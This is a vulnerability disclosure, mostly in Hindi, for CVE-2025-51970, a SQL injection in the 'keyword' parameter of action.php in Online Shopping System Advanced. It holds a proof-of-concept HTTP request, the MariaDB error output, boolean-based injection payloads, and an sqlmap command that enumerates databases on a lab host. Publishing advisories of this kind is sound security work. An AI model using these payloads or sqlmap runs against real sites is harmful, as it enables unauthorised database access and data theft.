
ऑनलाइन शॉपिंग सिस्टम एडवांस्ड में SQL इंजेक्शन (CVE-2025-51970)
CVE-2025-51970 - Online Shopping System Advanced में SQL इंजेक्शन
Online Shopping System Advanced प्रोजेक्ट में PuneethReddyHC द्वारा एक गंभीर SQL इंजेक्शन भेद्यता खोजी गई। यह दोष action.php में मौजूद है, जो keyword POST पैरामीटर से उपयोगकर्ता इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है। एक हमलावर डेटा निकालने या डेटाबेस से छेड़छाड़ करने के लिए दुर्भावनापूर्ण SQL इंजेक्ट कर सकता है।
action.phpkeyword (POST के माध्यम से)<Highlight language="http">
POST /online-shopping-system-advanced-master/action.php HTTP/1.1
Host: 192.168.1.109
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Referer: http://192.168.1.109/online-shopping-system-advanced-master/
Content-Length: 75
Connection: close
keyword=test'&search=1
</Highlight>
HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 10:07:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\online-shopping-system-advanced-master\action.php:193
e%' AND 2*3*8=6*8 AND '0004XX7'!='0004XX7%
e%' AND 3*2>5 AND '0004XX7'!='0004XX7%
e%' AND 3*2*0>=0 AND '0004XX7'!='0004XX7%
इस भेद्यता की पुष्टि और स्वचालित शोषण sqlmap का उपयोग करके किया जा सकता है।
sqlmap -u "http://192.168.1.109/action.php" --data="keyword=test&search=1" --dbs
[13:07:39] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] onlineshop
[*] performance_schema
[*] phpmyadmin
[*] test
